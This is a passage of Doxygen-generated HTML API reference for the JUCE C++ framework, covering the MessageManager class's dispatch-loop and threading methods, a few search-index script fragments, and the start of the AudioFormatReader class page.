align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager.html#a3084a3a75717db0f7f05604f2956ff65">runDispatchLoop</a> ()</td></tr> <tr class="memdesc:a3084a3a75717db0f7f05604f2956ff65"><td class="mdescLeft">&#160;</td><td class="mdescRight">Runs the event dispatch loop until a stop message is posted. <a href="#a3084a3a75717db0f7f05604f2956ff65"></a><br/></td></tr> <tr class="separator:a3084a3a75717db0f7f05604f2956ff65"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a283b20c2b3786537b31952670d2df7bf"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager.html#a283b20c2b3786537b31952670d2df7bf">stopDispatchLoop</a> ()</td></tr> <tr class="memdesc:a283b20c2b3786537b31952670d2df7bf"><td class="mdescLeft">&#160;</td><td class="mdescRight">Sends a signal that the dispatch loop should terminate. <a href="#a283b20c2b3786537b31952670d2df7bf"></a><br/></td></tr> <tr class="separator:a283b20c2b3786537b31952670d2df7bf"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a3b51c7c37417fea8c4f47ebb7913ddba"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager.html#a3b51c7c37417fea8c4f47ebb7913ddba">hasStopMessageBeenSent</a> () const noexcept</td></tr> <tr class="memdesc:a3b51c7c37417fea8c4f47ebb7913ddba"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if the <a class="el" href="classMessageManager.html#a283b20c2b3786537b31952670d2df7bf" title="Sends a signal that the dispatch loop should terminate.">stopDispatchLoop()</a> method has been called. <a href="#a3b51c7c37417fea8c4f47ebb7913ddba"></a><br/></td></tr> <tr class="separator:a3b51c7c37417fea8c4f47ebb7913ddba"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a0ddde5289b71c37a3a4a4bb9d673a0de"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager.html#a0ddde5289b71c37a3a4a4bb9d673a0de">runDispatchLoopUntil</a> (int millisecondsToRunFor)</td></tr> <tr class="memdesc:a0ddde5289b71c37a3a4a4bb9d673a0de"><td class="mdescLeft">&#160;</td><td class="mdescRight">Synchronously dispatches messages until a given time has elapsed. <a href="#a0ddde5289b71c37a3a4a4bb9d673a0de"></a><br/></td></tr> <tr class="separator:a0ddde5289b71c37a3a4a4bb9d673a0de"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a554f81587d57127c9cb5be72aced11c1"><td class="memItemLeft" align="right" valign="top">void *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager.html#a554f81587d57127c9cb5be72aced11c1">callFunctionOnMessageThread</a> (<a class="el" href="juce__MessageManager_8h.html#a107bb4f42cc6661a36a13b0fad22196d">MessageCallbackFunction</a> *callback, void *userData)</td></tr> <tr class="memdesc:a554f81587d57127c9cb5be72aced11c1"><td class="mdescLeft">&#160;</td><td class="mdescRight">Calls a function using the message-thread. <a href="#a554f81587d57127c9cb5be72aced11c1"></a><br/></td></tr> <tr class="separator:a554f81587d57127c9cb5be72aced11c1"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:accd7b539b31d809c30685b3d49327322"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager.html#accd7b539b31d809c30685b3d49327322">isThisTheMessageThread</a> () const noexcept</td></tr> <tr class="memdesc:accd7b539b31d809c30685b3d49327322"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if the caller-thread is the message thread. <a href="#accd7b539b31d809c30685b3d49327322"></a><br/></td></tr> <tr class="separator:accd7b539b31d809c30685b3d49327322"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af94f78debd3b3d70acade65f50c5058e"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager.html#af94f78debd3b3d70acade65f50c5058e">setCurrentThreadAsMessageThread</a> ()</td></tr> <tr class="memdesc:af94f78debd3b3d70acade65f50c5058e"><td class="mdescLeft">&#160;</td><td class="mdescRight">Called to tell the manager that the current thread is the one that's running the dispatch loop. <a href="#af94f78debd3b3d70acade65f50c5058e"></a><br/></td></tr> <tr class="separator:af94f78debd3b3d70acade65f50c5058e"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aa64162d4d9711b2c299e66775b57f414"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classThread.html#a077e20855a3c974c2fc6f9e7caa8412c">Thread::ThreadID</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager.html#aa64162d4d9711b2c299e66775b57f414">getCurrentMessageThread</a> () const noexcept</td></tr> <tr class="memdesc:aa64162d4d9711b2c299e66775b57f414"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the ID of the current message thread, as set by <a class="el" href="classMessageManager.html#af94f78debd3b3d70acade65f50c5058e" title="Called to tell the manager that the current thread is the one that&#39;s running the dispatch loop...">setCurrentThreadAsMessageThread()</a>. <a href="#aa64162d4d9711b2c299e66775b57f414"></a><br/></td></tr> <tr class="separator:aa64162d4d9711b2c299e66775b57f414"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aebd4b8896d7b6bdfa34d3cd8eb2e1777"><td class="memItemLeft" align="right" valign="top">bool&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager.html#aebd4b8896d7b6bdfa34d3cd8eb2e1777">currentThreadHasLockedMessageManager</a> () const noexcept</td></tr> <tr class="memdesc:aebd4b8896d7b6bdfa34d3cd8eb2e1777"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns true if the caller thread has currently got the message manager locked. <a href="#aebd4b8896d7b6bdfa34d3cd8eb2e1777"></a><br/></td></tr> <tr class="separator:aebd4b8896d7b6bdfa34d3cd8eb2e1777"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad4ee5d1cae2b55eb45507b491489e5de"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager.html#ad4ee5d1cae2b55eb45507b491489e5de">registerBroadcastListener</a> (<a class="el" href="classActionListener.html">ActionListener</a> *listener)</td></tr> <tr class="memdesc:ad4ee5d1cae2b55eb45507b491489e5de"><td class="mdescLeft">&#160;</td><td class="mdescRight">Registers a listener to get told about broadcast messages. <a href="#ad4ee5d1cae2b55eb45507b491489e5de"></a><br/></td></tr> <tr class="separator:ad4ee5d1cae2b55eb45507b491489e5de"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a5a64dae92820a0ec102294d8ea7aa94f"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager.html#a5a64dae92820a0ec102294d8ea7aa94f">deregisterBroadcastListener</a> (<a class="el" href="classActionListener.html">ActionListener</a> *listener)</td></tr> <tr class="memdesc:a5a64dae92820a0ec102294d8ea7aa94f"><td class="mdescLeft">&#160;</td><td class="mdescRight">Deregisters a broadcast listener. <a href="#a5a64dae92820a0ec102294d8ea7aa94f"></a><br/></td></tr> <tr class="separator:a5a64dae92820a0ec102294d8ea7aa94f"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-static-methods"></a> Static Public Member Functions</h2></td></tr> <tr class="memitem:aea95a541b6660b7cdcc79b675879f35d"><td class="memItemLeft" align="right" valign="top">static <a class="el" href="classMessageManager.html">MessageManager</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager.html#aea95a541b6660b7cdcc79b675879f35d">getInstance</a> ()</td></tr> <tr class="memdesc:aea95a541b6660b7cdcc79b675879f35d"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the global instance of the <a class="el" href="classMessageManager.html" title="This class is in charge of the application&#39;s event-dispatch loop.">MessageManager</a>. <a href="#aea95a541b6660b7cdcc79b675879f35d"></a><br/></td></tr> <tr class="separator:aea95a541b6660b7cdcc79b675879f35d"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ae890114c8f95bef376d498f633db4de2"><td class="memItemLeft" align="right" valign="top">static <a class="el" href="classMessageManager.html">MessageManager</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager.html#ae890114c8f95bef376d498f633db4de2">getInstanceWithoutCreating</a> () noexcept</td></tr> <tr class="memdesc:ae890114c8f95bef376d498f633db4de2"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the global instance of the <a class="el" href="classMessageManager.html" title="This class is in charge of the application&#39;s event-dispatch loop.">MessageManager</a>, or nullptr if it doesn't exist. <a href="#ae890114c8f95bef376d498f633db4de2"></a><br/></td></tr> <tr class="separator:ae890114c8f95bef376d498f633db4de2"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a4bdcb8bd5ef27480b49d6b1ff6ecdaa9"><td class="memItemLeft" align="right" valign="top">static void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager.html#a4bdcb8bd5ef27480b49d6b1ff6ecdaa9">deleteInstance</a> ()</td></tr> <tr class="memdesc:a4bdcb8bd5ef27480b49d6b1ff6ecdaa9"><td class="mdescLeft">&#160;</td><td class="mdescRight">Deletes the global <a class="el" href="classMessageManager.html" title="This class is in charge of the application&#39;s event-dispatch loop.">MessageManager</a> instance. <a href="#a4bdcb8bd5ef27480b49d6b1ff6ecdaa9"></a><br/></td></tr> <tr class="separator:a4bdcb8bd5ef27480b49d6b1ff6ecdaa9"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a252262c8bfe857ea77fe4e7b4b42ae80"><td class="memItemLeft" align="right" valign="top">static void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classMessageManager.html#a252262c8bfe857ea77fe4e7b4b42ae80">broadcastMessage</a> (const <a class="el" href="classString.html">String</a> &amp;messageText)</td></tr> <tr class="memdesc:a252262c8bfe857ea77fe4e7b4b42ae80"><td class="mdescLeft">&#160;</td><td class="mdescRight">Sends a message to all other JUCE applications that are running. <a href="#a252262c8bfe857ea77fe4e7b4b42ae80"></a><br/></td></tr> <tr class="separator:a252262c8bfe857ea77fe4e7b4b42ae80"><td class="memSeparator" colspan="2">&#160;</td></tr> </table> <a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2> <div class="textblock"><p>This class is in charge of the application's event-dispatch loop. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMessage.html" title="The base class for objects that can be sent to a MessageListener.">Message</a>, <a class="el" href="classCallbackMessage.html" title="A message that invokes a callback method when it gets delivered.">CallbackMessage</a>, <a class="el" href="classMessageManagerLock.html" title="Used to make sure that the calling thread has exclusive access to the message loop.">MessageManagerLock</a>, <a class="el" href="classJUCEApplication.html" title="An instance of this class is used to specify initialisation and shutdown code for the application...">JUCEApplication</a>, <a class="el" href="classJUCEApplicationBase.html" title="Abstract base class for application classes.">JUCEApplicationBase</a> </dd></dl> </div><h2 class="groupheader">Member Function Documentation</h2> <a class="anchor" id="aea95a541b6660b7cdcc79b675879f35d"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">static <a class="el" href="classMessageManager.html">MessageManager</a>* MessageManager::getInstance </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">static</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the global instance of the <a class="el" href="classMessageManager.html" title="This class is in charge of the application&#39;s event-dispatch loop.">MessageManager</a>. </p> </div> </div> <a class="anchor" id="ae890114c8f95bef376d498f633db4de2"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">static <a class="el" href="classMessageManager.html">MessageManager</a>* MessageManager::getInstanceWithoutCreating </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">static</span><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the global instance of the <a class="el" href="classMessageManager.html" title="This class is in charge of the application&#39;s event-dispatch loop.">MessageManager</a>, or nullptr if it doesn't exist. </p> </div> </div> <a class="anchor" id="a4bdcb8bd5ef27480b49d6b1ff6ecdaa9"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">static void MessageManager::deleteInstance </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">static</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Deletes the global <a class="el" href="classMessageManager.html" title="This class is in charge of the application&#39;s event-dispatch loop.">MessageManager</a> instance. </p> <p>Does nothing if no instance had been created. </p> </div> </div> <a class="anchor" id="a3084a3a75717db0f7f05604f2956ff65"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void MessageManager::runDispatchLoop </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Runs the event dispatch loop until a stop message is posted. </p> <p>This method is only intended to be run by the application's startup routine, as it blocks, and will only return after the <a class="el" href="classMessageManager.html#a283b20c2b3786537b31952670d2df7bf" title="Sends a signal that the dispatch loop should terminate.">stopDispatchLoop()</a> method has been used.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMessageManager.html#a283b20c2b3786537b31952670d2df7bf" title="Sends a signal that the dispatch loop should terminate.">stopDispatchLoop</a> </dd></dl> </div> </div> <a class="anchor" id="a283b20c2b3786537b31952670d2df7bf"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void MessageManager::stopDispatchLoop </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Sends a signal that the dispatch loop should terminate. </p> <p>After this is called, the <a class="el" href="classMessageManager.html#a3084a3a75717db0f7f05604f2956ff65" title="Runs the event dispatch loop until a stop message is posted.">runDispatchLoop()</a> or <a class="el" href="classMessageManager.html#a0ddde5289b71c37a3a4a4bb9d673a0de" title="Synchronously dispatches messages until a given time has elapsed.">runDispatchLoopUntil()</a> methods will be interrupted and will return.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMessageManager.html#a3084a3a75717db0f7f05604f2956ff65" title="Runs the event dispatch loop until a stop message is posted.">runDispatchLoop</a> </dd></dl> </div> </div> <a class="anchor" id="a3b51c7c37417fea8c4f47ebb7913ddba"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool MessageManager::hasStopMessageBeenSent </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns true if the <a class="el" href="classMessageManager.html#a283b20c2b3786537b31952670d2df7bf" title="Sends a signal that the dispatch loop should terminate.">stopDispatchLoop()</a> method has been called. </p> </div> </div> <a class="anchor" id="a0ddde5289b71c37a3a4a4bb9d673a0de"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">bool MessageManager::runDispatchLoopUntil </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>millisecondsToRunFor</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Synchronously dispatches messages until a given time has elapsed. </p> <p>Returns false if a quit message has been posted by a call to <a class="el" href="classMessageManager.html#a283b20c2b3786537b31952670d2df7bf" title="Sends a signal that the dispatch loop should terminate.">stopDispatchLoop()</a>, otherwise returns true. </p> </div> </div> <a class="anchor" id="a554f81587d57127c9cb5be72aced11c1"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void* MessageManager::callFunctionOnMessageThread </td> <td>(</td> <td class="paramtype"><a class="el" href="juce__MessageManager_8h.html#a107bb4f42cc6661a36a13b0fad22196d">MessageCallbackFunction</a> *&#160;</td> <td class="paramname"><em>callback</em>, </td> </tr> <tr> <td class="paramkey"></td> <td></td> <td class="paramtype">void *&#160;</td> <td class="paramname"><em>userData</em>&#160;</td> </tr> <tr> <td></td> <td>)</td> <td></td><td></td> </tr> </table> </div><div class="memdoc"> <p>Calls a function using the message-thread. </p> <p>This can be used by any thread to cause this function to be called-back by the message thread. If it's the message-thread that's calling this method, then the function will just be called; if another thread is calling, a message will be posted to the queue, and this method will block until that message is delivered, the function is called, and the result is returned.</p> <p>Be careful not to cause any deadlocks with this! It's easy to do - e.g. if the caller thread has a critical section locked, which an unrelated message callback then tries to lock before the message thread gets round to processing this callback.</p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">callback</td><td>the function to call - its signature must be <div class="fragment"><div class="line"><span class="keywordtype">void</span>* myCallbackFunction (<span class="keywordtype">void</span>*) </div> </div><!-- fragment --> </td></tr> <tr><td class="paramname">userData</td><td>a user-defined pointer that will be passed to the function that gets called </td></tr> </table> </dd> </dl> <dl class="section return"><dt>Returns</dt><dd>the value that the callback function returns. </dd></dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMessageManagerLock.html" title="Used to make sure that the calling thread has exclusive access to the message loop.">MessageManagerLock</a> </dd></dl> </div> </div> <a class="anchor" id="accd7b539b31d809c30685b3d49327322"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool MessageManager::isThisTheMessageThread </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns true if the caller-thread is the message thread. </p> </div> </div> <a class="anchor" id="af94f78debd3b3d70acade65f50c5058e"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void MessageManager::setCurrentThreadAsMessageThread </td> <td>(</td> <td class="paramname"></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Called to tell the manager that the current thread is the one that's running the dispatch loop. </p> <p>(Best to ignore this method unless you really know what you're doing..) </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMessageManager.html#aa64162d4d9711b2c299e66775b57f414" title="Returns the ID of the current message thread, as set by setCurrentThreadAsMessageThread().">getCurrentMessageThread</a> </dd></dl> </div> </div> <a class="anchor" id="aa64162d4d9711b2c299e66775b57f414"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname"><a class="el" href="classThread.html#a077e20855a3c974c2fc6f9e7caa8412c">Thread::ThreadID</a> MessageManager::getCurrentMessageThread </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the ID of the current message thread, as set by <a class="el" href="classMessageManager.html#af94f78debd3b3d70acade65f50c5058e" title="Called to tell the manager that the current thread is the one that&#39;s running the dispatch loop...">setCurrentThreadAsMessageThread()</a>. </p> <p>(Best to ignore this method unless you really know what you're doing..) </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMessageManager.html#af94f78debd3b3d70acade65f50c5058e" title="Called to tell the manager that the current thread is the one that&#39;s running the dispatch loop...">setCurrentThreadAsMessageThread</a> </dd></dl> </div> </div> <a class="anchor" id="aebd4b8896d7b6bdfa34d3cd8eb2e1777"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">bool MessageManager::currentThreadHasLockedMessageManager </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns true if the caller thread has currently got the message manager locked. </p> <p>see the <a class="el" href="classMessageManagerLock.html" title="Used to make sure that the calling thread has exclusive access to the message loop.">MessageManagerLock</a> class for more info about this.</p> <p>This will be true if the caller is the message thread, because that automatically gains a lock while a message is being dispatched. </p> </div> </div> <a class="anchor" id="a252262c8bfe857ea77fe4e7b4b42ae80"></a> <div class="memitem"> <div class="memproto"> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">static void MessageManager::broadcastMessage </td> <td>(</td> <td class="paramtype">const <a class="el" href="classString.html">String</a> &amp;&#160;</td> <td class="paramname"><em>messageText</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">static</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Sends a message to all other JUCE applications that are running. </p> <dl class="params"><dt>Parameters</dt><dd> <table class="params"> <tr><td class="paramname">messageText</td><td>the string that will be passed to the actionListenerCallback() method of the broadcast listeners in the other app. </td></tr> </table> </dd> </dl> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMessageManager.html#ad4ee5d1cae2b55eb45507b491489e5de" title="Registers a listener to get told about broadcast messages.">registerBroadcastListener</a>, <a class="el" href="classActionListener.html" title="Interface class for delivery of events that are sent by an ActionBroadcaster.">ActionListener</a> </dd></dl> </div> </div> <a class="anchor" id="ad4ee5d1cae2b55eb45507b491489e5de"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void MessageManager::registerBroadcastListener </td> <td>(</td> <td class="paramtype"><a class="el" href="classActionListener.html">ActionListener</a> *&#160;</td> <td class="paramname"><em>listener</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Registers a listener to get told about broadcast messages. </p> <p>The actionListenerCallback() callback's string parameter is the message passed into <a class="el" href="classMessageManager.html#a252262c8bfe857ea77fe4e7b4b42ae80" title="Sends a message to all other JUCE applications that are running.">broadcastMessage()</a>.</p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classMessageManager.html#a252262c8bfe857ea77fe4e7b4b42ae80" title="Sends a message to all other JUCE applications that are running.">broadcastMessage</a> </dd></dl> </div> </div> <a class="anchor" id="a5a64dae92820a0ec102294d8ea7aa94f"></a> <div class="memitem"> <div class="memproto"> <table class="memname"> <tr> <td class="memname">void MessageManager::deregisterBroadcastListener </td> <td>(</td> <td class="paramtype"><a class="el" href="classActionListener.html">ActionListener</a> *&#160;</td> <td class="paramname"><em>listener</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Deregisters a broadcast listener. </p> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li><a class="el" href="juce__MessageManager_8h.html">juce_MessageManager.h</a></li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep>var searchData= [ ['keyboardfocustraverser',['KeyboardFocusTraverser',['../classKeyboardFocusTraverser.html',1,'']]], ['keygeneration',['KeyGeneration',['../classKeyGeneration.html',1,'']]], ['keylistener',['KeyListener',['../classKeyListener.html',1,'']]], ['keymappingeditorcomponent',['KeyMappingEditorComponent',['../classKeyMappingEditorComponent.html',1,'']]], ['keymappingeditorcomponentmethods',['KeyMappingEditorComponentMethods',['../structExtraLookAndFeelBaseClasses_1_1KeyMappingEditorComponentMethods.html',1,'ExtraLookAndFeelBaseClasses']]], ['keypress',['KeyPress',['../classKeyPress.html',1,'']]], ['keypressmappingset',['KeyPressMappingSet',['../classKeyPressMappingSet.html',1,'']]], ['knownpluginlist',['KnownPluginList',['../classKnownPluginList.html',1,'']]] ]; <file_sep>var searchData= [ ['hosttype',['HostType',['../classPluginHostType.html#a69d9330e82ef7520f9aa8b2ad78ce5a8',1,'PluginHostType']]] ]; <file_sep>var searchData= [ ['yaxis',['yAxis',['../classVector3D.html#a943292e5f362278b85bbe2389355cd94',1,'Vector3D']]], ['yield',['yield',['../classThread.html#aaf47a344b3b715e49ffcbc6119c72cdc',1,'Thread']]] ]; <file_sep>var searchData= [ ['zlibformat',['zlibFormat',['../classGZIPDecompressorInputStream.html#a293d005b03d528a89ec13cfb07e31f94a38e3cd57b01d42c10cd866e71343f742',1,'GZIPDecompressorInputStream']]] ]; <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: AudioFormatReader Class Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#nested-classes">Classes</a> &#124; <a href="#pub-methods">Public Member Functions</a> &#124; <a href="#pub-attribs">Public Attributes</a> &#124; <a href="#pro-methods">Protected Member Functions</a> &#124; <a href="#pro-static-methods">Static Protected Member Functions</a> &#124; <a href="classAudioFormatReader-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">AudioFormatReader Class Reference<span class="mlabels"><span class="mlabel">abstract</span></span></div> </div> </div><!--header--> <div class="contents"> <p>Reads samples from an audio file stream. <a href="classAudioFormatReader.html#details">More...</a></p> <p>Inherited by <a class="el" href="classAudioCDReader.html">AudioCDReader</a>, <a class="el" 